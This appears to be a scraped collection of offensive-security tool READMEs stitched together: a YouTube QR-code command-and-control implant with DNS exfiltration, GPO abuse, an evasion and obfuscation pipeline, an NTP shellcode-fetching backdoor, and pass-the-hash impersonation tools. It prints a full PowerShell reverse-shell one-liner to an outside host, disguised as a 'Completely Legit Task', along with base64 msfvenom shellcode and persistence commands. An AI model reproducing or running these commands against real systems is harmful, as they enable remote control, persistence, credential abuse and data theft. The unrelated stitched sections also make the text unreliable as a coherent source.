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SharpCovertTube is a program created to control Windows systems remotely by uploading videos to Youtube.
The program monitors a Youtube channel until a video is uploaded, decodes the QR code from the thumbnail of the uploaded video and executes a command. The QR codes in the videos can use cleartext or AES-encrypted values.
It has two versions, binary and service binary, and it includes a Python script to generate the malicious videos. Its purpose is to serve as a persistence method using only web requests to the Google API.
Run the listener in your Windows system:
It will check the Youtube channel every a specific amount of time (10 minutes by default) until a new video is uploaded. In this case, we upload "whoami.avi" from the folder example-videos:
After finding there is a new video in the channel, it decodes the QR code from the video thumbnail, executes the command and the response is base64-encoded and exfiltrated using DNS:
This works also for QR codes with AES-encrypted payloads and longer command responses. In this example, the file "dirtemp_aes.avi" from example-videos is uploaded and the content of c:\temp is exfiltrated using several DNS queries:
Logging to a file is optional but you must check the folder for that file exists in the system, the default value is "c:\temp\.sharpcoverttube.log". DNS exfiltration is also optional and can be tested using Burp's collaborator:
As an alternative, I created this repository with scripts to monitor and parse the base64-encoded DNS queries containing the command responses.
There are some values you can change, you can find them in Configuration.cs file for the regular binary and the service binary. Only the first two have to be updated:
You can generate the videos from Windows using Python3. For that, first install the dependencies:
FreshRSS pip install Pillow opencv-python pyqrcode pypng pycryptodome rebus
Then run the generate_video.py script:
python generate_video.py -t TYPE -f FILE -c COMMAND [-k AESKEY] [-i AESIV]
TYPE (-t) must be "qr" for payloads in cleartext or "qr_aes" if using AES encryption.
FILE (-f) is the path where the video is generated.
COMMAND (-c) is the command to execute in the system.
AESKEY (-k) is the key for AES encryption, only necessary if using the type "qr_aes". It must be a string of 16 characters and the same as in Program.cs file in SharpCovertTube.
AESIV (-i) is the IV for AES encryption, only necessary if using the type "qr_aes". It must be a string of 16 characters and the same as in Program.cs file in SharpCovertTube.
Generate a video with a QR value of "whoami" in cleartext in the path c:\temp\whoami.avi:
python generate_video.py -t qr -f c:\temp\whoami.avi -c whoami
Generate a video with an AES-encrypted QR value of "dir c:\windows\temp" with the key and IV "0000000000000000" in the path c:\temp\dirtemp_aes.avi:
python generate_video.py -t qr_aes -f c:\temp\dirtemp_aes.avi -c "dir c:\windows\temp" -k 0000000000000000 -i 0000000000000000
You can find the code to run it as a service in the SharpCovertTube_Service folder. It has the same functionalities except self-deletion, which would not make sense in this case.
It possible to install it with InstallUtil, it is prepared to run as the SYSTEM user and you need to install it as administrator:
InstallUtil.exe SharpCovertTube_Service.exe
You can then start it with:
net start "SharpCovertTube Service"
In case you have administrative privileges this may be stealthier than the ordinary binary, but the "Description" and "DisplayName" should be updated (as you can see in the image above). If you do not have those privileges you can not install services so you can only use the ordinary binary.
File must be 64 bits!!! This is due to the code used for QR decoding, which is borrowed from Stefan Gansevles's QR-Capture project, who borrowed part of it from Uzi Granot's QRCode project, who at the same time borrowed part of it from Zakhar Semenov's Camera_Net project (then I lost track). So thanks to all of them!
This project is a port from covert-tube, a project I developed in 2021 using just Python, which was inspired by Welivesecurity blogs about Casbaneiro and Numando malwares.
Multithreaded C# .NET Assembly to enumerate accessible network shares in a domain
Built upon djhohnstein's SharpShares project
> .\SharpShares.exe help
Usage:
SharpShares.exe /threads:50 /ldap:servers /ou:"OU=Special Servers,DC=example,DC=local" /filter:SYSVOL,NETLOGON,IPC$,PRINT$ /verbose /outfile:C:\path\to\file.txt
Optional Arguments:
/threads - specify maximum number of parallel threads (default=25)
/dc - specify domain controller to query (if not ran on a domain-joined host)
/domain - specify domain name (if not ran on a domain-joined host)
/ldap - query hosts from the following LDAP filters (default=all)
:all - All enabled computers with 'primary' group 'Domain Computers'
:dc - All enabled Domain Controllers (not read-only DCs)
:exclude-dc - All enabled computers that are not Domain Controllers or read-only DCs
:servers - All enabled servers
:servers-exclude-dc - All enabled servers excluding Domain Controllers or read-only DCs
/ou - specify LDAP OU to query enabled computer objects from
ex: "OU=Special Servers,DC=example,DC=local"
/stealth - list share names without performing read/write access checks
/filter - list of comma-separated shares to exclude from enumeration
default: SYSVOL,NETLOGON,IPC$,PRINT$
/outfile - specify file for shares to be appended to instead of printing to std out
/verbose - return unauthorized shares
execute-assembly /path/to/SharpShares.exe /ldap:all /filter:sysvol,netlogon,ipc$,print$
The /ldap and /ou flags can be used together or seprately to generate a list of hosts to enumerate.
All hosts returned from these flags are combined and deduplicated before enumeration starts.
Python partial implementation of SharpGPOAbuse by@pkb1s
This tool can be used when a controlled account can modify an existing GPO that applies to one or more users & computers. It will create an immediate scheduled task as SYSTEM on the remote computer for computer GPO, or as logged in user for user GPO.
Default behavior adds a local administrator.
Add john user to local administrators group (Password: H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"Reverse shell example
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \
-powershell \
-command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
-taskname "Completely Legit Task" \
-description "Dis is legit, pliz no delete" \
-user
OfensivePipeline allows you to download and build C# tools, applying certain modifications in order to improve their evasion for Red Team exercises.
A common use of OffensivePipeline is to download a tool from a Git repository, randomise certain values in the project, build it, obfuscate the resulting binary and generate a shellcode.
OffensivePipeline.exe list
OffensivePipeline.exe all
OffensivePipeline.exe t toolName
OffensivePipeline.exe
PS C:\OffensivePipeline> .\OffensivePipeline.exe t rubeus
ooo
.osooooM M
___ __ __ _ ____ _ _ _ +y. M M
/ _ \ / _|/ _| ___ _ __ ___(_)_ _____| _ \(_)_ __ ___| (_)_ __ ___ :h .yoooMoM
| | | | |_| |_ / _ \ '_ \/ __| \ \ / / _ \ |_) | | '_ \ / _ \ | | '_ \ / _ \ oo oo
| |_| | _| _| __/ | | \__ \ |\ V / __/ __/| | |_) | __/ | | | | | __/ oo oo
\___/|_| |_| \___|_| |_|___/_| \_/ \___|_| |_| .__/ \___|_|_|_| |_|\___| oo oo
|_| MoMoooy. h:
M M .y+
M Mooooso.
ooo
@aetsu
v2.0.0
[+] Loading tool: Rubeus
Clonnig repository: Rubeus into C:\OffensivePipeline\Git\Rubeus
Repository Rubeus cloned into C:\OffensivePipeline\Git\Rubeus
[+] Load RandomGuid module
Searching GUIDs...
> C:\OffensivePipeline\Git\Rubeus\Rubeus.sln
> C:\OffensivePipeline\Git\Rubeus\Rubeus\Rubeus.csproj
> C:\OffensivePipeline\Git\Rubeus\Rubeus\Properties\AssemblyInfo.cs
Replacing GUIDs...
File C:\OffensivePipeline\Git\Rubeus\Rubeus.sln:
> Replacing GUID 658C8B7F-3664-4A95-9572-A3E5871DFC06 with 3bd82351-ac9a-4403-b1e7-9660e698d286
> Replacing GUID FAE04EC0-301F-11D3-BF4B-00C04F79EFBC with 619876c2-5a8b-4c48-93c3-f87ca520ac5e
> Replacing GUID 658c8b7f-3664-4a95-9572-a3e5871dfc06 with 11e0084e-937f-46d7-83b5-38a496bf278a
[+] No errors!
File C:\OffensivePipeline\Git\Rubeus\Rubeus\Rubeus.csproj:
> Replacing GUID 658C8B7F-3664-4A95-9572-A3E5871DFC06 with 3bd82351-ac9a-4403-b1e7-9660e698d286
> Replacing GUID FAE04EC0-301F-11D3-BF4B-00C04F79EFBC with 619876c2-5a8b-4c48-93c3-f87ca520ac5e
> Replacing GUID 658c8b7f-3664-4a95-9572-a3e5871dfc06 with 11e0084e-937f-46d7-83b5-38a496bf278a
[+] No errors!
File C:\OffensivePipeline\Git\Rubeus\Rubeus\Properties\AssemblyInfo.cs:
> Replacing GUID 658C8B7F-3664-4A95-9572-A3E5871DFC06 with 3bd82351-ac9a-4403-b1e7-9660e698d286
> Replacing GUID FAE04EC0-301F-11D3-BF4B-00C04F79EFBC with 619876c2-5a8b-4c48-93c3-f87ca520ac5e
> Replacing GUID 658c8b7f-3664-4a95-9572-a3e5871dfc06 with 11e0084e-937f-46d7-83b5-38a496bf278a
[+] No errors!
[+] Load RandomAssemblyInfo module
Replacing strings in C:\OffensivePipeline\Git\Rubeus\Rubeus\Properties\AssemblyInfo.cs
[assembly: AssemblyTitle("Rubeus")] -> [assembly: AssemblyTitle("g4ef3fvphre")]
[assembly: AssemblyDescription("")] -> [assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")] -> [assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")] -> [assembly: AssemblyCompany("")]
[assembly: AssemblyProduc t("Rubeus")] -> [assembly: AssemblyProduct("g4ef3fvphre")]
[assembly: AssemblyCopyright("Copyright © 2018")] -> [assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("")] -> [assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")] -> [assembly: AssemblyCulture("")]
[+] Load BuildCsharp module
[+] Checking requirements...
[*] Downloading nuget.exe from https://dist.nuget.org/win-x86-commandline/latest/nuget.exe
[+] Download OK - nuget.exe
[+] Path found - C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\Common7\Tools\VsDevCmd.bat
Solving dependences with nuget...
Building solution...
[+] No errors!
[+] Output folder: C:\OffensivePipeline\Output\Rubeus_vh00nc50xud
[+] Load ConfuserEx module
[+] Checking requirements...
[+] Downloading ConfuserEx from https://github.com/mkaring/ConfuserEx/releases/download/v1.6.0/ConfuserEx-CLI.zip
[+] Download OK - ConfuserEx
Confusing...
[+] No errors!
[+] Load Donut module
Generating shellcode...
Payload options:
Domain: RMM6XFC3
Runtime:v4.0.30319
Raw Payload: C:\OffensivePipeline\Output\Rubeus_vh00nc50xud\ConfuserEx\Donut\Rubeus.bin
B64 Payload: C:\OffensivePipeline\Output\Rubeus_vh00nc50xud\ConfuserEx\Donut\Rubeus.bin.b64
[+] No errors!
[+] Generating Sha256 hashes
Output file: C:\OffensivePipeline\Output\Rubeus_vh00nc50xud
-----------------------------------------------------------------
SUMMARY
- Rubeus
- RandomGuid: OK
- RandomAssemblyInfo: OK
- BuildCsharp: OK
- ConfuserEx: OK
- Donut: OK
-----------------------------------------------------------------
The scripts for downloading the tools are in the Tools folder in yml format. New tools can be added by creating new yml files with the following format:
tool:
- name: Rubeus
description: Rubeus is a C# toolset for raw Kerberos interaction and abuses
gitLink: https://github.com/GhostPack/Rubeus
solutionPath: Rubeus\Rubeus.sln
language: c#
plugins: RandomGuid, RandomAssemblyInfo, BuildCsharp, ConfuserEx, Donut
authUser:
authToken: Where:
tool:
- name: SharpHound3-Custom
description: C# Rewrite of the BloodHound Ingestor
gitLink: https://github.com/aaaaaaa/SharpHound3-Custom
solutionPath: SharpHound3-Custom\SharpHound3.sln
language: c#
plugins: RandomGuid, RandomAssemblyInfo, BuildCsharp, ConfuserEx, Donut
authUser: aaaaaaa
authToken: abcdefghijklmnopqrsthtnfWhere:
tool:
- name: SeatbeltLocal
description: Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
gitLink: C:\Users\alpha\Desktop\SeatbeltLocal
solutionPath: SeatbeltLocal\Seatbelt.sln
language: c#
plugins: RandomGuid, RandomAssemblyInfo, BuildCsharp, ConfuserEx, Donut
authUser:
authToken: Where:
In the OffensivePipeline.dll.config file it's possible to change the version of the build tools used.
<add key="BuildCSharpTools" value="C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\Common7\Tools\VsDevCmd.bat"/><add key="BuildCSharpTools" value="C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\Common7\Tools\VsDevCmd.bat"/>
SharpSCCM is a post-exploitation tool designed to leverage Microsoft Endpoint Configuration Manager (a.k.a. ConfigMgr, formerly SCCM) for lateral movement and credential gathering without requiring access to the SCCM administration console GUI.
SharpSCCM was initially created to execute user hunting and lateral movement functions ported from PowerSCCM (by @harmj0y, @jaredcatkinson, @enigma0x3, and @mattifestation) and now contains additional functionality to gather credentials and abuse newly discovered attack primitives for coercing NTLM authentication in SCCM sites where automatic site-wide client push installation is enabled.
Please visit the wiki for documentation detailing how to build and use SharpSCCM.
Chris Thompson is the primary author of this project. Duane Michael (@subat0mik) and Evan McBroom (@mcbroom_evan) are active contributors as well. Please feel free to reach out on Twitter (@_Mayyhem) with questions, ideas for improvements, etc., and on GitHub with issues and pull requests.
This tool was written as a proof of concept in a lab environment and has not been thoroughly tested. There are lots of unfinished bits, terrible error handling, and functions I may never complete. Please be careful and use at your own risk.
Sandman is a backdoor that is meant to work on hardened networks during red team engagements.
Sandman works as a stager and leverages NTP (a protocol to sync time & date) to get and run an arbitrary shellcode from a pre-defined server.
Since NTP is a protocol that is overlooked by many defenders resulting in wide network accessibility.
Run on windows / *nix machine:
python3 sandman_server.py "Network Adapter" "Payload Url" "optional: ip to spoof"Network Adapter: The adapter that you want the server to listen on (for example Ethernet for Windows, eth0 for *nix).
Payload Url: The URL to your shellcode, it could be your agent (for example, CobaltStrike or meterpreter) or another stager.
IP to Spoof: If you want to spoof a legitimate IP address (for example, time.microsoft.com's IP address).
To start, you can compile the SandmanBackdoor as mentioned below, because it is a single lightweight C# executable you can execute it via ExecuteAssembly, run it as an NTP provider or just execute/inject it.
To use it, you will need to follow simple steps:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Path\To\TheDll.dll"sc stop w32time
sc start w32timeNOTE: Make sure you are compiling with the x64 option and not any CPU option!
Getting and executing an arbitrary payload from an attacker's controlled server.
Can work on hardened networks since NTP is usually allowed in FW.
Impersonating a legitimate NTP server via IP spoofing.
Python 3.9
The requirements are specified in the requirements file.
To compile the backdoor I used Visual Studio 2022, but as mentioned in the usage section it can be compiled with both VS2022 and CSC. You can compile it either using the USE_SHELLCODE and use Orca's shellcode or without USE_SHELLCODE to use WebClient.
To compile the backdoor I used Visual Studio 2022, you will also need to install DllExport (via Nuget or any other way) to compile it. You can compile it either using the USE_SHELLCODE and use Orca's shellcode or without USE_SHELLCODE to use WebClient.
A shellcode is injected into RuntimeBroker.
Suspicious NTP communication starts with a known magic header.
YARA rule.
Orca for the shellcode.
Special thanks to Tim McGuffin for the time provider idea.
Thanks to those who already contributed and I'll happily accept contributions, make a pull request and I will review it!
This project is a C# tool to use Pass-the-Hash for authentication on a local Named Pipe for user Impersonation. You need a local administrator or SEImpersonate rights to use this. There is a blog post for explanation:
https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
It is heavily based on the code from the project Sharp-SMBExec.
I faced certain Offensive Security project situations in the past, where I already had the NTLM-Hash of a low privileged user account and needed a shell for that user on the current compromised system - but that was not possible with the current public tools. Imagine two more facts for a situation like that - the NTLM Hash could not be cracked and there is no process of the victim user to execute shellcode in it or to migrate into that process. This may sound like an absurd edge-case for some of you. I still experienced that multiple times. Not only in one engagement I spend a lot of time searching for the right tool/technique in that specific situation.
My personal goals for a tool/technique were:
low privileged accounts - depending on engagement goals it might be needed to access a system with a specific user such as the CEO, HR-accounts, SAP-administrators or othersThe impersonated user unfortunately has no network authentication allowed, as the new process is using an Impersonation Token which is restricted. So you can only use this technique for local actions with another user.
There are two ways to use SharpNamedPipePTH. Either you can execute a binary (with or without arguments):
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"
Or you can execute shellcode as the other user:
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=
Which is msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0.
I'm not happy with the shellcode execution yet, as it's currently spawning notepad as the impersonated user and injects shellcode into that new process via D/Invoke CreateRemoteThread Syscall. I'm still looking for possibility to spawn a process in the background or execute shellcode without having a process of the target user for memory allocation.
This was a learning by doing project from my side. Well known techniques are used to built just another impersonation tool with some improvements in comparison to other public tools. The code base was taken from:
A blog post for the intruduction can be found here:
PS > PS C:\temp> SharpImpersonation.exe list
PS > PS C:\temp> SharpImpersonation.exe list elevated
PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>
PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>
PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>
PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
